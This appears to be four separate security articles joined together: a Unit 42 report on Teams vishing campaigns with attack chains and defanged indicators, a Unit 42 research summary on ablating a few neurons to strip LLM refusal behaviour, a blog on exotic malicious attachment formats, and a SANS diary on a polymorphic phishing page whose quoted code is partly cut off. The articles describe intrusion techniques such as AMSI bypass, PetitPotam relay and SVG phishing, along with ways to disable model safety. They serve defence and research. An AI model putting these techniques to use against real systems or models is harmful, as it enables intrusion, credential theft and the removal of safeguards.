alerts in the preceding four months. In addition, according to KnowBe4’s Phishing Threat Trends Report, Teams-based attacks rose by 41% [PDF] between October 2025 and March 2026. They note that this surge is driven by attackers exploiting the platform's default “Chat with Anyone” feature to initiate direct chats with users outside their organization. Previous Teams-based attacks, such as those by Cloaked Ursa (aka APT29), focused on credential harvesting and group chat-based social engineering. They often relied on malicious links or fake Entra ID tenants to appear legitimate. Spring Ring’s approach relies on active human voice interaction. In this way, attackers can evade detection without a software exploit. Instead, they rely on exploiting the trust that employees place in software as a service (SaaS) collaboration platforms. SaaS applications are essential for business operations, storing an organization’s most critical and sensitive data. Unlike email, where users are trained to look for external sender banners or suspicious links, communications platforms provide a closed loop that attackers exploit by: Leveraging platform trust: People are more likely to engage with a message from a help desk identity than a random email from an external domain Exploiting human interaction: A professional voice on an audio call creates a level of trust that is difficult to manufacture in text, making the victim more susceptible to manipulation Bypassing the monitoring gap: Voice calls are often less monitored, recorded or documented than employees’ digital file operations or email histories, providing attackers with a secluded environment to execute their lures The Spring Ring operation represents an evolution from previous campaigns by merging vishing into the Teams workflow. This shift moves the attack from a passive click-and-harvest model to a real-time engagement. Attackers can then pivot based on the victim's responses. Once the trust gap is crossed, the path to domain-level privileges via open-source tools like PetitPotam is short. Figure 1 shows an example of the warning that Teams users get when an external identity creates a chat with them. The Spring Ring campaigns are a coordinated operation that relies on impersonating corporate IT structures. Attackers can drop their lures into a victim's primary communication channel using external Microsoft Teams accounts. Our investigation into this activity began after the release of a new detection suite for Microsoft Teams. By monitoring these alerts, we identified a suspicious pattern of chat creation across multiple tenants. Further investigation into these alerts led to the initial discovery of 26 distinct identities approaching targets across different organizations. The attack begins with creating a Microsoft Teams chat using identities designed to mirror legitimate internal support units. The attackers opt for professional, urgency-focused display names such as help desk, IT assistance or support staff. To strengthen the impression of legitimacy, the attackers operate from external .onmicrosoft[.]com tenants. These are meant to resemble legitimate corporate infrastructure. They are used by attackers to provision Microsoft 365 tenants. The subdomains are controlled by the adversaries. Threat actors frequently abuse or subvert legitimate products for malicious purposes. This does not indicate that the product itself is flawed or compromised. Unit 42 has no evidence of any compromise or vulnerability within Microsoft's product related to this campaign. Here are examples of these subdomains: ithelp@InternalSystemsDaily[.]onmicrosoft[.]com HelpDesk@ITProtectionDepartment[.]onmicrosoft[.]com itadmin@MandatoryNetworkMonitoring[.]onmicrosoft[.]com Internal@InternalUSAHelpDeskIT[.]onmicrosoft[.]com ithelpdesk@CertifiedUpdateNetwork[.]onmicrosoft[.]com In some instances, the actors went beyond generic role names and used specific names to increase the perceived authenticity of the technician on the other end of the line: patrick[..]@infrastructureopsdesk.onmicrosoft[.]com robert[..]@systemdeploymentcenter.onmicrosoft[.]com clara[..]@systemsupportoperations.onmicrosoft[.]com Names have been partially redacted because the attackers used specific names of legitimate industry personnel. The use of these names does not indicate a compromise of their accounts. After the chat is created, the attacker initiates a voice call (the vishing element) to coerce the victim. After establishing a connection with what the victim believes is their own IT department, the attacker guides targeted employees through the steps to grant them remote control or execute malicious payloads. Our telemetry reveals that these attackers often make several attempts — including leaving voicemails — before establishing a connection. We observed the attackers engaging victims in calls that varied in duration: Many calls last only a few seconds or they are missed by the victim as the attacker cycles through targets Successful calls often last between 10 and 15 minutes Figure 2 shows several vishing attempts made by the same attacker identity on six different targets, with different conversation durations. The reach of these campaigns is significant: More than 10 tenants were attacked: We observed the campaigns targeting many organizations across different industries More than 150 targets were approached: The attackers contacted more than 150 individual employees Persistent activity: We tracked the campaigns since January 2026 over a period of several weeks. According to our telemetry, these campaigns were active up until April 2026. Once the attacker establishes trust through the initial vishing call, the Spring Ring campaigns transitioned into a technical execution phase designed to gain a permanent foothold. We provide a detailed analysis of two campaigns (Campaign A and Campaign B) that both began with a Microsoft Teams lure. They then diverged in their payload delivery, tool complexity and post-compromise activities. Figure 3 shows the full attack flow of the two campaigns' attack methods. In Campaign A, the attacker used a bring-your-own-tool approach, luring the victim to execute legitimate RMM software. The attacker posing as a technician walked the employee through launching built-in Windows tools like Quick Assist or downloading third-party RMM software. Once the RMM tool ran, the attacker could request remote control of the victim’s machine. After gaining remote control, the attacker performed a series of basic enumeration commands to gain information on the host and domain. We observed them executing: After confirming the environment's value, the attacker pivots to payload delivery. The attacker used a PowerShell command line to download an obfuscated PowerShell-based remote access Trojan (RAT) from the attacker-controlled domain, san-sid[.]com. This malware used variable manipulations and arithmetic obfuscation designed to evade automated security analysis and sandbox detection. By leveraging advanced AI and pattern-matching algorithms, we were able to de-obfuscate the RAT. We started by stripping away anti-analysis bloat from the code that was used to cause a time-out for deobfuscation tools. The actual payload is a tiny, nine-line command and control (C2) stager. The script disables Antimalware Scan Interface (AMSI) via the amsiInitFailed flag and executes a test scan to verify the bypass. Upon verification, the script encrypts host data and beacons out to san-sid[.]com to download and execute further payloads. Figure 4 shows a snippet of the obfuscated PowerShell-based RAT. This campaign was blocked by automated Cortex XDR Agent protections during the malware's execution phase. The second campaign used a more customized delivery method. During the vishing call, the attacker directed the victim to a cloud endpoint. The attackers tailored the cloud infrastructure and filenames to match the targeted organization and the specific user, for example: -org-filters-update- .s3.us-west-2.amazonaws[.]com When the victim clicked a link containing their own company's name and downloaded -org-filters-update- [.]exe, it triggered an execution chain: Staging and persistence: The executable moved itself to the \Temp\ directory and spawned copies (e.g., vhlp-*.exe and scnr-*.exe) as a persistence mechanism Browser hijacking: The malware launched a hidden, headless instance of Microsoft Edge, and the attackers wrote to the disk and sideloaded an Edge extension Lateral movement and authentication coercion: The attackers used Python (C:\ProgramData\IntegrityData\python.exe) to initiate a lateral movement sequence: - SMB scanning: Initiated port 445 traffic targeting internal servers - NTLM authentication: Generated NTLM traffic targeting the organization's DC - PetitPotam exploitation: The attacker attempted a PetitPotam attack to coerce the DC into authenticating back to an attacker-controlled machine. This NTLM relay attack was designed to grant the attacker domain-level privileges After attempting to coerce the DC, the attacker's domain-takeover attempt was blocked by Unit 42 Managed Detection and Response. By comparing the two campaign paths, we can better understand the diversity of threats targeting collaboration platforms. Table 1 compares the campaigns' specific methods of attack. Table 1. Comparing the two campaigns’ methods. This comparison highlights an important point for defenders. A simple vishing hook can lead to either a standard malware infection, or to a serious domain-level breach if the attacker pivots to payload delivery. Recognizing campaigns like Spring Ring requires a strategy of profiling external and internal entity behaviors. The attackers behind these campaigns operate within a legitimate ecosystem, so detection hinges on identifying small anomalies in how external identities interact with your organization. The first line of defense is recognizing the markers of the external actor. Our research into these campaigns highlights several consistent patterns: Spoofed domain naming: Attackers mostly use external .onmicrosoft[.]com tenants that include keywords like internal, certified, network or infrastructure to project authority Persona mimicry: They use professional display names, like IT help desk or admin, to increase the perceived authenticity of the technician during vishing calls Infrastructure red flag: The source IP addresses for these connections often originate from commercial VPN services to mask the attacker's true location Our researchers were able to identify key markers of Spring Ring activity by analyzing the metadata of these interactions, despite the deceptive nature of the attacker’s initial lures: The chat-to-call ratio: A primary indicator is the rapid transition from a 1:1 chat request to an unsolicited audio call Call curation profiling: Attackers cycle through targets quickly. We observed call patterns ranging from 30-second initial attempts to 15-minute sessions. Multiple approaches: These actors demonstrate high operational volume, often approaching 5-6 identities within a matter of minutes using one of their spoofed identities Upon a successful compromise, we observed endpoint activity characterized by: Atypical execution of RMM tools by users who do not require remote support Access to unknown links, including cloud storage URLs or other file hosting servers that victims might be lured to access Organizations can identify the Spring Ring lifecycle before the attacker transitions from a chat to a domain-level attack, by profiling these signals, the origin of the tenant and the subsequent attack flow. Figure 5 shows one example of a Cortex alert on a new suspicious conversation created in Microsoft Teams. This alert is based on behavioral and metadata analysis of a newly created chat. The Spring Ring campaigns demonstrate a strategic pivot in social engineering, where attackers move beyond email phishing to enterprise collaboration tools. Attackers turn an important productivity tool into a conduit for domain-level exploitation, masquerading as internal help desk personnel through vishing calls. This activity highlights an important shift in the security landscape. Identity is now a primary perimeter, and the platforms we rely on for daily communication are being weaponized. Looking forward, attackers might further refine their ability to operate within SaaS ecosystems. These platforms are not just an initial access vector, they contain sensitive documentation, workflows and communication logs that could allow an adversary to advance their attack chain. Our analysis of the Spring Ring operation reinforces several key lessons: Trusted SaaS applications are not inherently safe: Attackers exploit the confidence that employees place in communications platforms Attack vectors are simple and scalable: By using seemingly legitimate external tenants and professional vishing lures, attackers can target hundreds of employees across many industries with minimal friction Adaptability is key: Attackers are evolving their methods, shifting from basic credential harvesting to human-led lateral movement As these threats evolve, organizations must prioritize user education regarding unsolicited external communication across collaboration platforms. Robust behavioral monitoring can help identify identity-based anomalies before they escalate to lateral movement. Palo Alto Networks customers are better protected from the threats discussed above through the following products: Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Cortex XDR and XSIAM can help prevent the execution of both known and unknown malware through Behavioral Threat Protection and machine learning powered by the Local Analysis module. Beyond stopping initial execution via malicious droppers, Cortex XDR actively halts post-exploitation activities, such as PetitPotam NTLM relay attacks, before adversaries can achieve lateral movement. Cortex Cloud Identity Threat Detection can help deliver real-time protection against identity-based threats across cloud providers, IdPs, and SaaS applications. Using advanced behavioral analytics on real-time telemetry, ITDR baselines access patterns to detect anomalies, track complex attack chains—such as the Spring Ring lifecycle and trigger automated responses to contain compromised credentials. The Cortex Advanced Email Security module can help extend the power of the Cortex platform into cloud-hosted email environments, providing a scalable, AI-driven layer for detection, investigation, and response. By automatically stopping email threats and malicious communications across enterprise environments, it provides seamless protection across one of your most vulnerable attack vectors. Idira Threat Detection and Response can help enable security teams to counter identity-based attacks targeting Idira Next Generation Identity (NGI) Platform and the identities it secures. Using near real-time detection, powered by CORA AI, and leveraging Idira’s visibility across multiple contexts (like PAM, authentication, SSO, cloud, endpoints, browsers, and more), Idira ITP can apply automated, tailored non-disruptive in-session response to contain and minimize potential identity-based threats. Idira Endpoint Privilege Manager can help enable enterprises to reduce risk, satisfy compliance, and streamline operations. It helps implement least privilege via policy-driven elevation and removal of standing admin rights, and blocks risky actions, such as execution of unvetted applications and access to memory of other processes, while providing audit-ready evidence and unified identity governance. Automation and consolidation improve efficiency and support Zero Trust strategies, strengthening security without slowing the business. Idira Privileged Access Management can help unify privileged access across human, machine, and agentic identities to secure cloud access across multi-cloud environments. Building on proven PAM, it delivers centralized secrets management alongside modern controls like Just-in-Time access and Zero Standing Privileges. This enforces consistent least-privilege security across on-premises, cloud, and SaaS targets. Idira Secure Infrastructure Access can help enforce Zero Standing Privileges (ZSP) through Just-in-Time (JIT) provisioning which grants temporary, tightly scoped access only as needed. Backed by continuous session recording and real-time command monitoring, SIA can detect high risk actions before an attacker compromises critical systems. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. Attacker Identities Used in Vishing Attempts – Generic helpcenter@ithelpcenter365[.]onmicrosoft[.]com helpdesk@itprotectiondepartment[.]onmicrosoft[.]com helpdesk@newsystemmaintenance[.]onmicrosoft[.]com helpdesk@officedesk365[.]onmicrosoft[.]com helpdesk@officesecures[.]onmicrosoft[.]com helpdesk@tbcsschid[.]onmicrosoft[.]com internal@internalusahelpdeskIT[.]onmicrosoft[.]com it_assistance@teams0137[.]onmicrosoft[.]com it@infrastructurefirewall[.]onmicrosoft[.]com itadmin@mandatorynetworkmonitoring[.]onmicrosoft[.]com itassistant@bilelonellc[.]onmicrosoft[.]com ithelp@certifiednetworksec[.]onmicrosoft[.]com ithelp@internalsystemsdaily[.]onmicrosoft[.]com ithelp@itprotectiondepartment[.]onmicrosoft[.]com [email protected][.]com ithelpdesk@certifiedupdatenetwork[.]onmicrosoft[.]com support@bilelonellc[.]onmicrosoft[.]com Attacker Identities Used in Vishing Attempts – Usernames Names have been partially redacted to protect the users associated with accounts that were impersonated by the attackers. andreas[..]@idigitalserviceoperation.onmicrosoft[.]com andrew[..]@hapsinfrastructureops.onmicrosoft[.]com brandon[..]@devsitoperationhub.onmicrosoft[.]com brian[..]@appssupportsys.onmicrosoft[.]com christopher[..]@adevpsitplatformops.onmicrosoft[.]com christopher[..]@itplatformops.onmicrosoft[.]com christopher[..]@helpaphelpitinfraops.onmicrosoft[.]com clara[..]@systemsupportoperations.onmicrosoft[.]com daniel[..]@opsnetsupportit.onmicrosoft[.]com daniel[..]@apsitsupporthub.onmicrosoft[.]com emily[..]@apsitechsupportdesk.onmicrosoft[.]com eric[..]@appopshelp.onmicrosoft[.]com henrik[..]@enterpriseoperationsflo.onmicrosoft[.]com james[..]@helpitsupportcore.onmicrosoft[.]com james[..]@itcoretechhelp.onmicrosoft[.]com jonathan[..]@itservicedesk.onmicrosoft[.]com justin[..]@techopshelpsupp.onmicrosoft[.]com kevin[..]@itopsupportdesk.onmicrosoft[.]com kevin[..]@netopsdeskhelp.onmicrosoft[.]com leon[..]@netcorevdapp.onmicrosoft[.]com lucas[..]@applicationoperationsunit.onmicrosoft[.]com martin[..]@syslanevdapp.onmicrosoft[.]com matthew[..]@supportopsupp.onmicrosoft[.]com michael[..]@appdeploymentservices.onmicrosoft[.]com michael[..]@infratechopsdesk.onmicrosoft[.]com michael[..]@itopsdeskhelp.onmicrosoft[.]com patrick[..]@infrastructureopsdesk.onmicrosoft[.]com rachel[..]@ioseccloudsupport.onmicrosoft[.]com rebecca[..]@infrastructureopsservice.onmicrosoft[.]com robert[..]@systemdeploymentcenter.onmicrosoft[.]com ryan[..]@apstechopsdeskdev.onmicrosoft[.]com ryan[..]@helpssupportcloudops.onmicrosoft[.]com ryan[..]@seqhelpitsuppnetops.onmicrosoft[.]com sarah[..]@secinfrahelpdesk.onmicrosoft[.]com sarah[..]@apsscloudopsdesk.onmicrosoft[.]com sarah[..]@helpitdevsupportops.onmicrosoft[.]com sarah[..]@itdevsupportops.onmicrosoft[.]com scott[..]@cloudinfrastr.onmicrosoft[.]com steven[..]@ittechnologyopsitdesk.onmicrosoft[.]com thomas[..]@networkoperationsec.onmicrosoft[.]com thomas[..]@seqapsitsupportops.onmicrosoft[.]com Infrastructure Used in Vishing Attempts (VPNs and Proxies) 193.32.248[.]251 193.138.7[.]142 185.65.134[.]209 178.130.47[.]46 5.181.3[.]106 2.56.172[.]214 185.234.67[.]53 45.8.157[.]185 80.66.72[.]215 136.0.20[.]6 185.213.155[.]226 185.155.99[.]161 92.118.232[.]131 45.182.189[.]80 185.65.133[.]51 45.33.22[.]47 Malicious Files From Post-Compromise Activity (Campaign A) SHA256 hash: 24ab9fe5d5be62d3bf055a0ca4508e8bca2996b6d78649dce8145d8a27bc1c5b (obfuscated PowerShell payload) File description: Obfuscated PowerShell RAT dropper downloaded via Invoke-WebRequest URL: hxxps[:]//san-sid[.]com/owners Description: URL hosting obfuscated PowerShell payload used as RAT dropper Table 2 lists the Cortex XDR alerts and the associated MITRE ATT&CK techniques these alerts detect. Table 2. Cortex XDR alerts and MITRE techniques. When “Hi, This Is IT” Comes Through Microsoft Teams – Unit 42, Palo Alto Networks Cortex ITDR: Cyber Threats in Microsoft Teams and Their Detection – Palo Alto Networks Quick, You Need Assistance! – Fieldeffect PetitPotam – by topotam on GitHub APT29 Phishing Attacks via Microsoft Teams: Tactics, Techniques, and Prevention – InsiderSecurity Phishing Threat Trends Report [PDF] – KnowBe4 Cross‑tenant helpdesk impersonation to data exfiltration: A human-operated intrusion playbook – Microsoft

Our previous research on logit-gap steering demonstrated that the safety guardrails of an aligned LLM can be bypassed by closing a measurable gap in the model's output scores. That work answered the question of how an attacker bypasses alignment. A natural follow-up question is where inside the model the alignment lives in the first place — and how concentrated or how diffuse that defense actually is. The answer matters because it tells defenders whether safety is a thick perimeter or a thin layer of paint. Modern LLMs are aligned through reinforcement learning from human feedback (RLHF), a training stage that pushes the model toward refusing harmful prompts and complying with safe ones. Until now, no method has been able to point to the specific pieces of the network that carry that learned behavior cheaply enough to run on every model an enterprise deploys. Our new academic research presents a method that does exactly that, and it produces a result that should change how the industry talks about LLM safety. Our research introduces a method called perturbation probing. With only two forward passes per prompt and a significantly lower computational cost, it identifies the small set of feed-forward neurons inside an aligned LLM that are causally responsible for a targeted behavior, such as refusing harmful requests. The headline finding is striking. On open-source LLM Qwen3-4B, just 50 neurons out of 350,208 — about 0.014% of the model's feed-forward neurons — control the safety refusal template. Removing those 50 neurons changes the response format on 80% of 520 standard harmful-prompt benchmarks. The result was replicated on 200 prompts of a second standard benchmark. On a smaller model, Qwen3.5-2B, just 20 neurons were enough to stop the LLM from falsely agreeing with users in multi-turn conversations, dropping that behavior from 36.7% to 0% across 30 questions. This concentration matters because it demonstrates that an aligned LLM's refusal behavior does not live in a robust, distributed defense. It lives in a thin template layer — a tiny fraction of the network that an attacker who can manipulate internals could disable, and that even a normal optimization run could shift. Relying on this thin layer alone is the LLM analog of relying on a single perimeter firewall: structurally insufficient. True AI safety demands a defense-in-depth strategy, with external content filters and runtime guardrails layered on top of whatever the base model was trained to do. Beyond identifying the neurons, the same computation produces a diagnostic we call the FFN/Skip ratio: a single number, computable in seconds per model, that predicts whether a model's safety circuit can be easily steered with minimal modifications. Across the 13 models tested, this ratio explained 81% of the variance in how vulnerable each model's safety behavior was to a small targeted change. That makes it a candidate for a quantitative safety fragility score, a metric that allows security teams to compare models on alignment robustness without running adversarial red-team campaigns first. Figure 1 displays these tests below. The horizontal axis measures how much a model routes decisions through a narrow internal pathway, and the vertical axis measures how much the model’s safety behavior changed when we disabled just 50 neurons. Models track the diagonal closely, which is why one number can predict the other. We hope that perturbation probing will serve two roles for the AI security community. First, as a pre-deployment diagnostic. Security teams can measure how much of a model's safety rests on a thin, easily removed layer before they put that model in production. In our experiments, amplifying just 10 identified neurons on a small model improved factual self-correction from 52% to 88% on 200 TruthfulQA prompts without any retraining. The same toolkit that exposes fragility can also be used to repair it. We are sharing this research to empower the broader AI and security community to build LLMs whose safety properties can be measured, audited and reinforced, not merely asserted. We urge researchers to read the full paper on arXiv, “Perturbation Probing: A Two-Pass-per-Prompt Diagnostic for FFN Behavioral Circuits in Aligned LLMs.” We also recommend integrating fragility diagnostics into your own evaluation pipelines. For organizations deploying LLMs today, Prisma AIRS Runtime Security provides the external content filters and inline guardrails that a thin template layer alone cannot. Unit 42's AI Security Assessment helps identify where AI adoption introduces governance and exposure risk. Together, they deliver the defense-in-depth posture that this research shows is necessary. Perturbation Probing: A Two-Pass-per-Prompt Diagnostic for FFN Behavioral Circuits in Aligned LLMs — arXiv Logit-Gap Steering: A New Frontier in Understanding and Probing LLM Safety — Palo Alto Networks, Unit 42 We used publicly available open-weight models under their respective licenses for local mechanistic and safety evaluation. The study reports aggregate rates, model-internal measurements, and non-operational summaries only. We do not release harmful generations, executable attack artifacts, jailbreak prompts or instructions that facilitate misuse. For models governed by acceptable-use or prohibited-use policies, experiments are framed as defensive safety evaluation and robustness measurement.

Threat actors are constantly developing new attack schemes — from OAuth token theft to attacks on AI agents — but the classics never quite leave their playbook. On any given day, an employee may receive malware attached directly to an email, or lying in wait behind a link embedded in an email. Making these attacks succeed still requires a degree of creativity, and in recent years attackers have increasingly adopted exotic file formats. Users don’t perceive these formats as dangerous; more importantly, many EDR and email security solutions skip scanning them entirely. Yet they’ve proven highly effective for deploying malware or harvesting credentials. Below are the file types that may be blind spots in your organization’s detection strategy — despite being observed as used in real-world attacks. Disk images This is the broadest and most dangerous attachment category. A disk image can contain a fully prepared, correctly structured set of files tailored to a wide range of attack scenarios. It mounts as a separate volume (standalone virtual disk), and when doing so often uses tools built into the operating system. The victim doesn’t need to extract anything or create suspicious folders on disk. The most versatile format is ISO, which dates back to the heyday of multimedia CDs. ISO images mount natively on every major OS without additional utilities, whether through simple tools like File Explorer or via the command line interface. This is precisely why threat actors have no hesitation in sending ISO files as email attachments . Somewhat less common are IMG containers, which also mount without additional tooling on macOS or Linux, but require installing a small, free utility such as OSFMount on Windows, or using WSL2 (Windows Subsystem for Linux), which is built into recent Windows versions. A file with identical content may also carry a DD extension. Threat actors also make use of VHD , a virtual disk format native to Windows, which generally works on Linux machines as well (via qemu-nbd or guestmount). On macOS, an additional utility — again, qemu-nbd is a common choice — is required to mount it. Note that on unpatched Windows systems, the victim doesn’t need to take any further action after the disk mounts: CVE-2025-24993 — a vulnerability actively exploited in real-world attacks — triggers attacker code execution immediately upon mounting the image. For completeness’ sake, VMDK, the disk image format used by VMware, is also worth detecting, though it’s largely ineffective in attacks on regular users since every popular OS requires additional software to mount it. All of these image formats can be viewed and unpacked not only with specialized tools, but with standard archive utilities like 7-Zip or RAR. As a result, the odds that the user will fall for the bait are higher than one might hope. In addition to not being a well-known potentially dangerous format, image files give attackers one further advantage: files extracted from disk images on Windows frequently lack the Mark of the Web flag, and therefore can be launched without triggering additional system warnings. There’s one more reason why EPP/EDR solutions must scan virtual machines and disk images: these formats are also used during later stages of an attack. To mask active file-system activity from monitoring tools, ransomware gangs sometimes run the entire encryption process inside a virtual machine deployed on the victim’s computer. The RagnarLocker ransomware strain has used VirtualBox for this purpose, while the CRON#TRAP campaign relied on a QEMU environment. MS Office files No, this isn’t about macro-laced DOC files. Microsoft has grown weary enough of this classic attack vector that macros in downloaded documents are now blocked outright , and enabling them requires considerable effort from the user. But Office relies on dozens of file formats, and some of the less common ones still occasionally give attackers an edge. Less familiar to both users and security solutions are OneNote files (.one). These are essentially simple notes, but they can carry embedded attachments, including not just images and links, but VBS/WSF/BAT scripts as well. Within the note, an attachment normally displays as an icon, but attackers overlay it with a picture showing a message with a “View” button. Another Office format popular with attackers is the Excel add-in. These files use the .xll extension but are, in effect, full-fledged Windows dynamic-link libraries (DLLs), and therefore may have extensive functionality. Victims receive a malicious email with what looks like an invoice; the icon suggests that the file will open in Excel. Ignoring the security warning may result in an infostealer infection . SVG “graphics” The description of the SVG (Scalable Vector Graphics) format sounds entirely innocuous. Indeed, 99% of SVG files are logos and interface icons. But unlike PNG or JPG, SVG files are fundamentally XML documents, and beyond points, lines and fills they can contain JavaScript. In terms of malicious potential, SVG is not far behind a full web page. In real-world attacks , SVG files can redirect a user to a phishing page immediately upon opening, or render the phishing page directly by unpacking a Base64-encoded block into full HTML. SVG files pose a distinct risk to corporate portals that accept user file uploads. If a portal’s Content Security Policy (CSP) isn’t sufficiently restrictive, and lets someone upload a malicious SVG file, the embedded JavaScript can steal cookies from the page, inject unauthorized content, and carry out similar attacks. Polyglot files Polyglot file formats are less exotic in and of themselves, but the files carry more than meets the eye. They’re called polyglots because attackers construct a file that can be validly interpreted in multiple ways: for example, it can be a valid ZIP archive and a valid executable at the same time. The purpose is purely to evade detection by security solutions and deceive the user. We’ve covered polyglots in detail in a separate blog post . The clear standout in our roundup is a malicious campaign distributing the IcedID infostealer . Victims receive emails with a ZIP attachment, which unpacks into an ISO disk image. That further unpacks into a CHM file (the Windows Help format) that’s also correctly processed as an mshta (Microsoft HTML Application host) application, which then downloads the primary malware payload. Defending against exotic files These attacks rely on the assumption that security solutions either don’t scan unusual file formats, or scan them only superficially. Preventing the threat starts with not operating on that assumption with regard to your own infrastructure: Configure EDR , web, and email filters to scan all of the file formats described above. Process archives and disk images with the same rigor as you would apply to executables. Detonate potentially dangerous file types in a sandbox, and configure recursive unpacking of nested formats through to the end of the chain: ZIP → ISO → CHM. Where feasible, quarantine all file formats anomalous for email — disk images in particular. Build detection rules for anomalous usage patterns that involve exotic files. For example, unusually small disk images are rare and are therefore worth investigating. Review the technical documentation of your security solutions to confirm that complex formats are detected through deep structural parsing rather than magic-byte checks alone. Deploy behavioral detection capable of flagging anomalous execution patterns and legitimate utilities launched from unexpected contexts. The usual suspects here include mshta, git, wscript, hh, and rundll32. SVG files warrant a dedicated policy. Treat SVGs as active content at the email and web perimeter. On corporate portals, enforce a strict CSP, and serve user-uploaded files from a separate subdomain so that a malicious script embedded in an SVG can’t access the session on the main portal.

As I’ve mentioned before in some of my diaries, from time to time, I like to go over phishing messages that get caught in my various spam traps or sent to us here at the Internet Storm Center. After looking at enough phishing messages, one quickly gets used to seeing the same lures, the same credential-harvesting pages and, quite often, the same obfuscation techniques over and over again. But even something that seems to be “run-of-the-mill” at first glance can sometimes turn out to be quite interesting. One such message was recently sent to our handler inbox, and as you can see, there was very little about it that would indicate that it would be worth a deeper look. The link in the message pointed to a URL with the following, quite usual, structure: hxxps[:]//addresses[.]performs[.]vu/communications.html?good=[recipient_address] Nevertheless, what happened after the link was opened was somewhat less usual. Instead of displaying a phishing page, the browser remained effectively stuck for about 30 seconds, while utilization of one CPU core in the virtual machine I was using quickly rose to 100 %. Since retrieving the HTML source itself was almost instantaneous, it seemed clear that the delay wasn't caused by the server, and instead something in the page itself was preventing the browser from finishing its work. Although a quick look at the source code showed that almost all of the page consisted of heavily obfuscated JavaScript, the reason for the unusual behavior fortunately wasn't too difficult to identify. Among other things, the script contained two functions, which are slightly reformatted here for easier readability: function _il(m) { for(k=0; 64>k; k++) { m[_lV(_ie(),k)]=k } return m } function _YF(m,h) { var v=""; for(k=m; k 49 48 -> 49 48 -> 49 ... This explained both why the page never rendered and why the browser was keeping one CPU core rather busy. Changing the inner routine to use its own local counter was sufficient to let the decoding process finish. After removing the remaining layers of obfuscation, what emerged was an otherwise completely unremarkable credential-stealing page. At this point, the most likely explanation seemed fairly straightforward – the authors of the page had simply shot themselves in the foot by using a broken obfuscation mechanism. Nevertheless, this proved not to be the case, since when I accessed the original URL again a little later, the page loaded normally. Another attempt to load the page was also successful, as were several subsequent ones. More interestingly, while all of the resulting pages ultimately displayed the same credential-stealing form, their source code wasn't the same. Function and variable names differed across page loads, functions appeared in a different order, numerical constants were expressed using different arithmetic operations and a large encoded block of code, which contained the actual payload with the form, changed as well. Even the innocuous-looking page title varied between requests using words like "Solution", "Viewer", "Credentials", "Private" and "Authenticate". It therefore appeared that the first response wasn't a permanently broken copy of the phishing page at all. Rather, the server seemed to generate polymorphic variants of the page and I had simply happened to receive a “broken” one when I first accessed the target URL. To test this hypothesis, I used a simple script to retrieve the same URL 50 times and, with some help from an LLM, compared the resulting samples. Among the 50 samples (which all had different SHA-256 hashes), there were 21 different page titles, and, more importantly, 49 deobfuscated successfully while one became stuck in an endless loop – just like the first page I had the luck to land on. The reason was effectively identical to what happened in the first page I encountered. In this variant, the two relevant functions had different randomized names, but both of their loops had once again been assigned the same undeclared variable k. The inner loop therefore repeatedly reset the value used by the outer one and prevented the decoder from completing. Once this collision was corrected, the sample decoded normally as well. The polymorphism wasn't limited to the initial JavaScript wrapper. The 50 page variants (if we include the one I had to manually “fix”) produced 50 different versions of the final phishing HTML. Form and input names, CSS classes, element identifiers and parameters used when loading images were changed, as was the placement of zero-width characters inside visible strings, which were used as a further obfuscation/anti-analysis mechanism. In spite of all these changes, however, the page presented to the user and its basic functionality remained essentially identical. Polymorphic phishing pages are, of course, not new. The concept has been discussed for well over a decade in academic circles[1], and phishing pages which generate random HTML attribute values for individual visits have been used in the wild for years[2]. It has also previously been shown that JavaScript lends itself quite well to producing multiple versions of source code which look different while performing the same task[3] (which is the basis for the simplest implementation of polymorphism at the code level). The rationale behind such an approach is fairly obvious – hashes, randomly generated identifiers and many simple string-based signatures become significantly less useful if every request produces what is basically a completely new copy of a malicious page. Although polymorphism certainly shouldn't be thought of as some universal mechanism for bypassing security controls, as the underlying logic and behavior of the pages remains the same, and many structural characteristics inevitably survive most transformations, it does raise the cost of detection mechanisms which rely too heavily on static artifacts... Though, in this case, it apparently also raised the cost for the threat actor, since at least some victims would end up with a non-functioning page (at least on a first load), given that of the approximately 56 samples I collected (50 using the script + my original manual attempts), two pages were broken. Although it would be unreasonable to draw any firm conclusions about the actual failure rate of the mechanisms used, it is clear that the original endless loop wasn't just a “one-off” corrupted response and that whatever generates the code can repeatedly create non-functional pages. Which brings us to one final question – what was actually generating the code? Given the current popularity of generative AI, it is tempting to consider an LLM-based backend. This isn't entirely far-fetched either – in January, Unit 42 demonstrated a proof-of-concept in which an LLM was used to generate syntactically different phishing JavaScript in real time, resulting in a unique variant for individual visits[4]. There is, however, nothing in the samples which would prove that an LLM is involved here, and a conventional polymorphic obfuscator seems to be a much more plausible explanation, given that the transformations between individual page copies are quite systematic, and the recurring failure caused by reused global variable names would fit quite nicely with a relatively simple random renaming and reordering mechanism which doesn't properly account for variable scope. In any case, had the first page loaded normally, I would almost certainly have dismissed it as yet another run-of-the-mill phishing site. As it turned out, though, the obfuscation mechanism intended to make the page more difficult to detect was also capable of making it somewhat ineffective at stealing credentials... which made the sample considerably more interesting than it initially appeared. And – to end on a positive note – the sample did also provide a good lesson to any aspiring programmers out there – never use undeclared global variables as your loop counters. [1] https://link.springer.com/chapter/10.1007/978-3-642-02617-1_28 [2] https://www.zscaler.com/blogs/security-research/evolution-phishing-kits [3] https://www.akamai.com/blog/security/the-tale-of-double-javascript-obfuscated-scam [4] https://unit42.paloaltonetworks.com/real-time-malicious-javascript-through-llms/ ----------- Jan Kopriva LinkedIn Nettles Consulting

